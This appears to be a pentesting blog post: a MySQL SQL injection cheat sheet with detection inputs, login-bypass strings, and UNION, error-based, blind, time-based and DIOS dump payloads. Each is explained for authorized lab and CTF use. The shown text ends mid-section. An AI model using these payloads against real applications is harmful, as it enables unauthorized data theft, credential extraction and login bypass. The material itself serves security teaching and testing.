web hacking

SQL Injection MySQL: Payload, Cheat Sheet and Techniques

SQL Injection MySQL: Payload, Cheat Sheet and Techniques

SQL injection on MySQL: cheat sheet with UNION payloads, error-based, blind, time-based, DIOS, RCE via UDF, OOB, WAF bypass and sqlmap commands for pentesting.

  • Posted on 2026-10-11
  • Reading time: 39 min

SQL Injection in MySQL: A Practical Guide to Payload, Enumeration, and Exploitation #

SQL injection in MySQL is one of the oldest and still most commonly discovered web vulnerabilities. This guide covers everything you need to understand it and use it in an authorized test: how to recognize it, how to extract data with UNION, errors, blind, and time-based attacks, how to read and write files, how to make the database communicate with the outside world, and how to circumvent a WAF. Each payload is accompanied by a simple explanation, so you don't just have to copy it: you understand why it works.

Everything you find here should be tested only on authorized labs and targets (Hack The Box, DVWA, PortSwigger Academy, CTF). If you want a general theory before diving into payloads, start with SQL Injection . If your target is Microsoft, there's a companion guide on SQL Injection MSSQL.

Last updated: October 2026. Where techniques differ between MySQL 5.x, MySQL 8.x, and MariaDB, the difference is noted in the paragraph.


What is SQL Injection on MySQL #

SQL injection in MySQL is a vulnerability that allows you to insert SQL code into an application query and have it executed by the MySQL or MariaDB database. This technique reads data, skips a login, and, in some cases, reads or writes files on the server.

A web application takes a value that you write (a id in the URL, a login field, a search) and puts it into a SQL query. If it doesn't check it, you can write SQL in place of the value. At that point, the query is up to you, not the developer.

Example of vulnerable code:

php
$id  = $_GET['id'];
$sql = "SELECT title, body FROM posts WHERE id = '$id'";

If you send ?id=1 The query is normal. If you send ?id=1' OR '1'='1 the query becomes:

sql
SELECT title, body FROM posts WHERE id = '1' OR '1'='1'

The condition is always true and returns all posts. From here on, the challenge is to understand how the application displays the result , because that determines the technique you use.

TechnologyWhat do you see?When using
UNION basedData directly on the pageThe page prints the query result
Error basedData inside an error messageThe app shows SQL errors
Blind (Boolean)Different page if true or falseNo output, but the response changes
Time-basedA delay in responseNo output and always the same response
Out of bandA DNS or SMB request to youNothing works in-band, but the DB can go out into the network

For a deeper dive into the two "blind" cases, see Blind SQL Injection and Time-Based SQL Injection . If your target is an API or uses an ORM, also see SQL Injection API REST and SQL Injection ORM.


Default database in MySQL #

You need them to know where to look.

NameDescription
mysqlContains users, hashes, and privileges. Adequate privileges are required to read it (typically SELECT su mysql.user, which in practice almost always has only administrative users - but it is not necessarily the case that it must coincide with root)
information_schemaThe server "menu": lists databases, tables, and columns. Available since version 5.
performance_schemaInternal server statistics (from 5.5)
sysConvenience views built on top of performance_schema (since 5.7)

information_schema It's your map: from there you extract the names of everything else.

Useful information to bring out immediately #

whenFunction or variable
Versionversion() or @@version
Database in usedatabase()
Current useruser() or current_user()
Data folder@@datadir
Operating System@@version_compile_os
File limit (read/write)@@secure_file_priv
Plugin Folder (UDF)@@plugin_dir

Version matters: Many techniques only work on a certain version or higher. This table summarizes the main differences.

Compatibility between versions #

Technique or functionWhere it works
information_schemaFrom MySQL 5.0
NAME_CONST (error-based)From MySQL 5.0
SLEEP()Since MySQL 5.0.12 (before using BENCHMARK())
EXTRACTVALUE, UPDATEXMLFrom MySQL 5.1
information_schema.processlistSince MySQL 5.1.7, deprecated in MySQL 8 (used performance_schema.processlist)
GTID_SUBSETFrom MySQL 5.6
JSON_KEYSFrom MySQL 5.7
json_arrayagg()From MySQL 5.7.22
PROCEDURE ANALYSE()Up to MySQL 5.7 (deprecated), removed in MySQL 8
Strict SQL mode active by defaultSince MySQL 5.7 (makes truncation useless)
User variables inside expressions (DIOS)They work, but are deprecated in MySQL 8 and may give different results

If a technique doesn't work, the first check is always this: what version is it?


MySQL Comments #

A comment serves to “throw away” the rest of the original query, so your payload closes cleanly.

TypeDescription
#Comment to the end of the line. This should be written in the URL. %23
--SQL comment. A space is needed after the two dashes, that's why it's written -- - or --+
/* commento */C-style commentary
/*! codice */Special Comment: MySQL performs what's inside (see WAF bypass)
/*!32302 10*/As above, but only runs from a certain version onwards
;%00Null byte: Truncates the query in some contexts
backtick (grave accent)It's not a real comment: it closes a table or column name and is sometimes used to break the query

Classic mistake: using -- without a trailing space and not understanding why it doesn't work.


How to understand if the parameter is vulnerable #

The first step is always the same: send a "query-breaking" character and see what changes. Try it on each entry point, not only on GET parameters: POST parameters, cookies, JSON body and headers as User-Agent, Referer o X-Forwarded-ForTo find hidden parameters you can use fuf , to change requests on the fly Burp Suite .

If the value is a string #

The query is like SELECT * FROM Table WHERE id = 'FUZZ';

InputExpected outcome if vulnerable
'Error or broken page (False)
''Normal Page (True)
"Error (False)
""Normal Page (True)
\Error (False)
\\Normal Page (True)

Logic: A single quote leaves the string open and breaks the query. Two quotes cancel each other and the query is valid again. If you see this behavior, the parameter ends up in the query unprotected.

If the value is a number #

The query is like SELECT * FROM Table WHERE id = FUZZ; (without quotes).

InputWhat happen
AND 1 / AND trueNormal Page (True)
AND 0 / AND falseDifferent or empty page (False)
1-falseReturns 1 if vulnerable
1-trueReturns 0 if vulnerable
1*56Returns record 56 if vulnerable, record 1 if not

The last test is the most elegant: if the page changes from id=1 a id=1*56 and displays record 56, the server has completed the calculation. Your input is then executed as SQL.

If it's a login form #

The query is like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';

text
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

These payloads aim to make the condition always true, but whether they work and who accesses it depends on the exact query used by the application: parentheses, LIMIT, ORDER BY or additional code-side checks can cause the payload to fail even if the parameter is truly vulnerable — in that case, adapt the syntax to the specific context, don't discard the lead. Always check which user you are given: it is often the first one in the table returned by the query, which is often but not always the admin.


UNION Based #

What is UNION, before the payloads #

UNION is a “normal” SQL operator, which exists for a perfectly legitimate reason: to join the results of two SELECT separate in a single output table, one above the other. A site could use this to display both products and offers in a list, for example:

sql
SELECT nome, prezzo FROM prodotti
UNION
SELECT nome, prezzo FROM offerte;

The UNION based injection trick is simple to understand once you see this: if you can write SQL code inside the vulnerable parameter, you can add a second one yourself SELECT with UNION, and MySQL will return the result of that second query along with (or instead of) the original. If the application prints the query result to the screen, it prints yours too. This is where the technique gets its name: it's the "union" you use to reveal data you wouldn't normally see.

This is the most convenient technique because, if it works, the data appears directly on the page — no character-by-character bisection, no waiting times.

The iron rule: yours SELECT must have the same number of columns of the original one. So the first task is to count them.

Counting columns #

Method 1: Iterative NULL. Add a NULL at a time until the error disappears.

sql
UNION SELECT NULL;--
UNION SELECT NULL, NULL;--
UNION SELECT NULL, NULL, NULL;--

If you use NULL because it is compatible with any type of column.

Method 2: ORDER BY (or GROUP BY). Sort by column number 1, 2, 3… until you get an error.

ORDER BYGROUP BYOutcome
ORDER BY 1--+GROUP BY 1--+True
ORDER BY 2--+GROUP BY 2--+True
ORDER BY 3--+GROUP BY 3--+True
ORDER BY 4--+GROUP BY 4--+False

4 gives an error, so the query has 3 columns . If the app shows errors, you can do this in one request:

sql
ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
-- Errore: Unknown column '4' in 'order clause'

The error tells you directly which column is the first one that doesn't exist. The same trick works with 1' GROUP BY 1,2,3,4,5--+: the error indicates from which number the column no longer exists.

Method 3: LIMIT INTO. Useful when the injection point is located after a LIMIT e ORDER BY It doesn't work. It only works if the errors are visible.

PayloadError
1' LIMIT 1,1 INTO @--+The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+No error: The query uses 3 columns

See which columns are printed #

Once you have found the number of columns, use a id that does not exist (for example -1) so the original query returns nothing and you only see your row:

sql
-1' UNION SELECT 1,2,3--+

Maybe only columns 2 and 3 will appear on the page. These are the columns where you can output the data. If a column rejects the data due to a type problem, reset it. NULL in its place.

What is information_schema? #

To read “targeted” data (instead of making up random table names) you need to know how the database is made: which databases exist, what tables each has, what columns each table has. This information isn't given to you by a magic command: it's simply saved in another database, which MySQL always creates automatically and calls information_schema.

information_schema It is a system database made of “normal” tables that you can query with SELECT Like any other—except that they contain a map of the entire server instead of your application data. The three you'll always use are:

EyeglassesWhat it containsUseful columns
information_schema.schemataThe list of all databases present on the serverschema_name (the name of the database)
information_schema.tablesThe list of all tables of all databasestable_schema (which database the table is located in), table_name (the name of the table)
information_schema.columnsThe list of all columns of all tablestable_schema, table_name, column_name (the name of the column)

Note the pattern: each row of tables e columns he always carries with him too table_schema, because two different databases can have a table with the same name (e.g. users in app_prod and app_test) - without table_schema You wouldn't know which one you're referring to. The same principle applies in cascade: columns door both table_schema and table_name, because two different tables can have a column with the same name.

The logical path is always: first schemata (what databases are there) → then tables filtering on that database (what tables it has) → then columns filtering on that table (which columns it has) → finally the SELECT on the actual table to read the data. The examples below follow this exact order.

Extract databases, tables, columns, and data with information_schema #

All databases:

sql
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata

All tables in a database (in the place of PLACEHOLDER enter the name, or database() for the current one):

sql
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER

All columns of a table:

sql
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=...

The actual data:

sql
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,data,0x7C) FROM ...

I ... They indicate that you must fill in as many fields as there are columns in the original query. A concrete example with 3 columns:

sql
-1' UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users-- -

Two details that save the day:

  • 0x7c it's the character | written in hexadecimal. Hexadecimal is used to avoid quotation marks, which are often filtered out. The same goes for 0x3a which is :.
  • GROUP_CONCAT has a limit: by default it cuts the output to 1024 charactersIf the data appears truncated, extract one row at a time with LIMIT 0,1, LIMIT 1,1…or use the variant json_arrayagg() that you see in the WAF section.
  • To see only application tables and not system tables, add a filter: WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys'). By adding AND table_type='BASE TABLE' also exclude views.

Search tables by column name #

Not sure which table the users are in? Search by column: it takes you straight to the relevant tables.

sql
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

Names to try: user, pass, password, token, email, secret, api. In a lab, this is often the fastest way to find the user table.

Extract column names without information_schema #

Se information_schema is blocked (or a WAF filters it), you can make the database “confess” the column names via errors.

MySQL 4.1 and above:

Payloadoutput
(1)and(SELECT * from db.users)=(1)Operand should contain 4 column(s)
1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)Column 'id' cannot be null

The first tells you how many columns the table has. The second compares a fictional row to the table, and the error tells you the name of the first column.

MySQL 5: it is exploited JOIN of a table with itself, which generates “duplicate column” errors.

Payloadoutput
UNION SELECT * FROM (SELECT * FROM users JOIN users b)aDuplicate column name 'id'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))aDuplicate column name 'name'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))aThe data

Every time you add the newly discovered column inside USING(...)MySQL reveals the next one to you. Eventually, there are no more duplicates and you get the data.

Extract data without knowing column names #

If you don't even know the names, you can call the columns by number , using backticks. Here we extract the fourth column:

sql
SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME;

It works because the subquery with UNION create a temporary table whose columns are called exactly 1, 2, 3… Example inside a real query select author_id,title from posts where author_id=[INJECT_HERE]:

sql
SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
text
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+

You can calculate the number of columns in the target table (here 6) using the methods in the previous section. You can then crack the hashes you find with Hashcat.


Error Based #

If your application displays MySQL errors, you can force the database to write the data inside the error message . This is fast and doesn't require a UNION.

The idea: You use a function that fails if it receives the “wrong” value, and that wrong value is the data you want to read.

NamePayload
GTID_SUBSETAND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
JSON_KEYSAND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
EXTRACTVALUEAND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
UPDATEXMLAND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
EXPAND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -
OR (GROUP BY)OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
NAME_CONSTAND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
UUID_TO_BINAND UUID_TO_BIN(version())='1
GROUP BY (variant)AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))

I ~ The text around the data serves as "bookmarks": you can see them immediately in the error message and understand where the extracted value begins and ends. Not all functions exist in all versions (for example JSON_KEYS is 5.7+ and GTID_SUBSET (It's 5.6+), and some have been fixed in recent releases: if one doesn't work, try the next.

Note on UUID_TO_BIN: unlike the other rows in the table, it is not a verified and reproducible error-based technique in the same way — UUID_TO_BIN() expects a valid UUID string and throws an error if the argument is not, but this alone does not guarantee that the contents of version() (or any other data) is returned in a readable form in the message. Treat it as a payload to be tested and verified on your target, not as a guaranteed equivalent of EXTRACTVALUE/UPDATEXML.

Error based: basic version (MySQL 4.1 and above) #

sql
(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))
'+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+'

It's the classic "double query": RAND() inside a GROUP BY throws a duplicate key error containing the concatenated value.

Error based: UPDATEXML #

UPDATEXML It expects a valid XPath path. You pass it data that isn't valid, and it prints the error.

sql
AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter, easier-to-read version:

sql
UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

data_offset, data_column, data_table e data_info are placeholders: you replace them with the row number (0, 1, 2…), the database, table and column you are enumerating. CHAR(126) it's the tilde ~.

Error based: EXTRACTVALUE (MySQL 5.1 and above) #

Same logic as UPDATEXML, different function:

sql
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--

Limit to remember: with EXTRACTVALUE e UPDATEXML the error message shows at most about 32 characters of the data. For hashes and long texts you have to break them with SUBSTRING(dato,1,31), then SUBSTRING(dato,32,31) and so on.

Error based: NAME_CONST (MySQL 5.0 and above, constants only) #

sql
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

NAME_CONST It only accepts constant values, so you can read here version(), user(), database() but don't make a SELECT on a table.


Blind SQL Injection #

You see nothing here: no data, no errors. But the page behaves differently if your condition is true or false. So ask the database questions like "Is the first character of version 5?" and read the answer from the page's behavior. One character at a time, one question at a time.

Functions to “cut” a string #

To query one character at a time, you need functions that extract a piece of string. MySQL has several of these, and if a filter blocks one, you can use another.

FunctionExampleWhat does he do
SUBSTRSUBSTR(version(),1,1)=5Extracts a piece from any position
SUBSTRINGSUBSTRING(version(),1,1)=5Identical to SUBSTR
MIDMID(version(),1,1)=4Identical to SUBSTR
LEFTLEFT(version(),1)=4Takes N characters from the left
RIGHTRIGHT(left(version(),1),1)=5Takes N characters from the right

The format is FUNZIONE(stringa, posizione, lunghezza): SUBSTR(version(),1,1) means “from position 1, take 1 character”, that is, the first character.

Examples:

sql
?id=1 AND (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables LIMIT 1) > 'A'
?id=1 AND (SELECT SUBSTR(column_name,1,1) FROM information_schema.columns LIMIT 1) > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51

Note the crackdown: AND (SELECT ...) immense AND SELECT ... — in a condition you need a scalar subquery, enclosed in parentheses, otherwise it's a syntax error. That LIMIT 1 it is necessary because information_schema.tables has multiple rows: without it, MySQL complains that the subquery returns more than one result. If you need to iterate row by row (table 0, then 1, then 2, etc.), use LIMIT 1 OFFSET n as seen above.

ASCII() transforms the character into its number (51 is the character 3). Working with numbers allows you to use > e < and find the character by bisection: Instead of trying the entire alphabet, halve the range for each query. Seven queries will find any ASCII character.

Blind with an IF condition #

sql
' OR IF(MID(@@version,1,1)='5', (SELECT 1 UNION SELECT 2), 1)='1

How to read it: IF(condizione, se_vero, se_falso). If the first character of @@version è 5, the “true” branch executes a subquery that returns two lines (UNION) where the application expected only one row: many queries fail with an error when this happens (e.g. in a context WHERE id = (sottoquery)), and you see a 500 instead of a 200. If the first character is not 5, the “false” branch simply returns 1 and the query runs normally.

The advantage of this version over using SLEEP() in the real branch: the difference is immediate (an error or a different response), not related to a delay that you might confuse with normal network latency — useful when the time-based is too noisy or the WAF filters SLEEP.

If the application does not generate any visible errors at all, go back to time-based: put SLEEP() in the true branch and measure the delay, as in the next section.

Blind with MAKE_SET #

MAKE_SET It returns something if the condition is true and nothing if it is false, so the page response changes. VALUE_TO_EXTRACT is the number you are trying, POS the position of the character.

sql
AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(version()))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(concat(login,password),POS,1)),1)

The first lines give you the length of the data, the others the characters . First the length, then the characters: this way you know when to stop.

Blind with LIKE #

LIKE Matches a string against a pattern. Two wildcards:

  • % stands for "any zero, one, or more characters"
  • _ stands for "exactly any character"
sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%user_input%'

In blind it's very convenient because you can guess the length ('___' = 3 characters) and then the characters one by one without SUBSTR. Caution: LIKE The default collation is not case sensitive. If you need the difference, use LIKE BINARY 'A%'.

Blind with REGEXP #

REGEXP compare with a regular expression, so you can do much more powerful tests than LIKE.

PayloadWhat it controls
' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --Length: at least 8 characters
' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --Presence of numbers
' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --Since it starts with “a”

With a single request you can test a character class ([a-f], [0-9]) and shrink much faster.


Step-by-step binary, multibyte, and bisection data extraction #

So far, the examples assume simple ASCII strings. In a real test, the data can be binary (a hash, an encrypted password), multibyte (names with accents, non-Latin characters), or NULL — cases that break a written payload without thinking.

HEX/UNHEX instead of quoted strings #

sql
' UNION SELECT HEX(password) FROM users-- -
SELECT UNHEX('61646d696e')

HEX() converts any value (including pure binary) to a string of hexadecimal digits that contains no quotes, spaces, or special characters — useful both for porting out binary data without breaking it in HTTP transport, and as an alternative to char()/concatenation when quotes are filtered. UNHEX() takes the reverse path.

ORD() instead of ASCII() for multibyte characters #

ASCII() returns only the value of the first byte, which with multibyte charsets (UTF-8, data with accents or non-Latin characters) does not match the whole character. ORD() returns the code of the first complete multibyte character:

sql
SELECT ORD(SUBSTR(nome,1,1)) FROM utenti

If you are extracting data that may contain accented or non-ASCII characters (names, emails with internationalized domains), use ORD() instead of ASCII() to avoid reading a byte in the middle of a multibyte character.

LENGTH() vs CHAR_LENGTH() #

LENGTH() count the byte, CHAR_LENGTH() count the charactersWith charsets like UTF-8, where a character can occupy multiple bytes, the two functions give different results on the same string. To find out how many "bisection requests" you need for a field, always use CHAR_LENGTH(); LENGTH() you need it instead if you are reconstructing data byte by byte (e.g. binary via HEX()).

Handling NULL values ​​during extraction #

sql
' AND (SELECT IFNULL(email,'NULL_VALUE') FROM users LIMIT 1) LIKE 'a%'-- -

If a field can be NULL, compare it or concatenate it with IFNULL()/COALESCE() first avoid ambiguous results: NULL propagated in a comparison or in a CONCAT() it gives the whole expression NULL, and a condition that evaluates NULL It is neither true nor false — in a blind test, this may appear to be “false” when in reality the data is simply absent.

A complete walkthrough for bisection #

Put all of the above together into a reproducible sequence:

  1. Length: ' AND CHAR_LENGTH((SELECT password FROM users LIMIT 1))>N-- -, increases N until the condition becomes false (or halves the interval).
  2. Character for bisection — ASCII data (the most common case: password, username, hash): ' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),POS,1))>128-- -, then halve the interval (>64, >192, etc.) until there is only one value between 0 and 255 left — about 7-8 requests per character, because the domain is known and fixed (one byte). 2bis. Bisection character — multibyte data (names with accents, non-Latin text): here uses ORD() instead of ASCII(), but the domain it's no longer 0-255: A Unicode character can reach much higher values ​​(CJK characters, for example, go well beyond the thousands). Start with a wider range (e.g. >0 e <65536) and halve from there: you'll need a few more requests than the ASCII case, not the same 7-8.
  3. Move to the next position (POS+1) and repeat until you have CHAR_LENGTH characters.
  4. If the data is binary (e.g. a hash saved as BLOB), use HEX() on the entire value instead of extracting it character by character with SUBSTR/ORD: it is slower but guarantees not to lose non-printable bytes.

Always separate fields with a fixed delimiter (CONCAT(col1,'|',col2)) when you extract multiple columns at once, so you don't confuse where one value ends and the next begins.

Time Based #

If the page is always the same, time remains: let the database “sleep” only if your condition is true, and measure how long it takes to respond.

MySQL 4/5 with BENCHMARK(): there is no real pause, but the server is made to do a heavy and repeated calculation (used when SLEEP does not exist or is filtered).

sql
+BENCHMARK(40000000,SHA1(1337))+
'+BENCHMARK(3200,SHA1(1))+'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))

MySQL 5 with SLEEP(): the actual pause, in seconds.

sql
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR
AND SLEEP(10)=0
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)

[SLEEPTIME] it's the number of seconds, [RANDNUM] e [RANDSTR] These are random values ​​that you invent (they are used to avoid the cache). The first test to do is always AND SLEEP(5): if the page takes 5 seconds longer, you have confirmation.

SLEEP inside a subselect #

Here it combines SLEEP with LIKE to extract a given character by character, without SUBSTRThe database only sleeps if the model matches.

Data length (Everything is fine _ It's a character; if it sleeps with 5 underscores, the name is 5 long):

sql
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')#

First character:

sql
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')#

Second character:

sql
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')#

Third character:

sql
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')#

Find a column that contains “pass” in the name:

sql
1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')#

FROM DUAL It's a fake MySQL table: it's only used to be able to write a SELECT with WHERE without a real table.

Time based with conditions #

sql
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

Watch out for the inversion: the first two lines make the database sleep when the condition is false (IF(cond, 1, SLEEP(3))). The third one makes him sleep when he is trueWhen automating a script, knowing in which of the two cases you expect the delay is crucial.

With slow response, you risk false positives if the network is unstable: always repeat the test and use a delay large enough to distinguish it from the noise. To automate everything, there's sqlmap.


DIOS: Dump In One Shot #

DIOS stands for "download everything in one go." Instead of extracting databases, tables, and columns one request at a time, you build a single injection that puts everything into one giant string and returns it to you.

The trick is a user variable (@): for each line read by information_schema the database adds a piece to the variable with concat(@, ...). Finally the variable contains the entire map and you print it.

sql
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

The first line lists all columns of all databases in the format [ database ] > tabella > colonnaThe second, with db_data.table_data, column_data1 e column_data2 to be replaced, download the content of a table.

The historical variants of various authors, all with the same idea:

SecurityIdiots

sql
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Profexer

sql
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

Dr.Z3r0

sql
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

M@dBl00d

sql
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

Zen

sql
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

sharik

sql
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)

Hexadecimals are just separators and filters: 0x3c6c693e è <li>, 0x3C62723E è <br>, 0x0a it's a wrap, 0x203a3a20 è ::. In the variant sharik 0x696e666f726d6174696f6e5f736368656d61 it's the word information_schema, used for exclude it from the result and do not contaminate the output.

When needed: only with visible output (UNION or error-based), never in blind. On MySQL 8, variable assignments within expressions are deprecated and may behave differently: if DIOS doesn't work, fall back on GROUP_CONCAT o json_arrayagg.


Running query: PROCESSLIST #

INFORMATION_SCHEMA.PROCESSLIST It's a special table (MySQL and MariaDB) that lists what the server is doing. Right now: who is connected, from where and what query they are executing.

Main columns:

ColumnMeaning
IDProcess identifier
USERMySQL user running it
HOSTWhere did he connect from?
DBDatabase in use
COMMANDCommand type (Query, Sleep…)
TIMEHow many seconds has it been running?
STATECurrent status
INFOThe text of the query being executed
sql
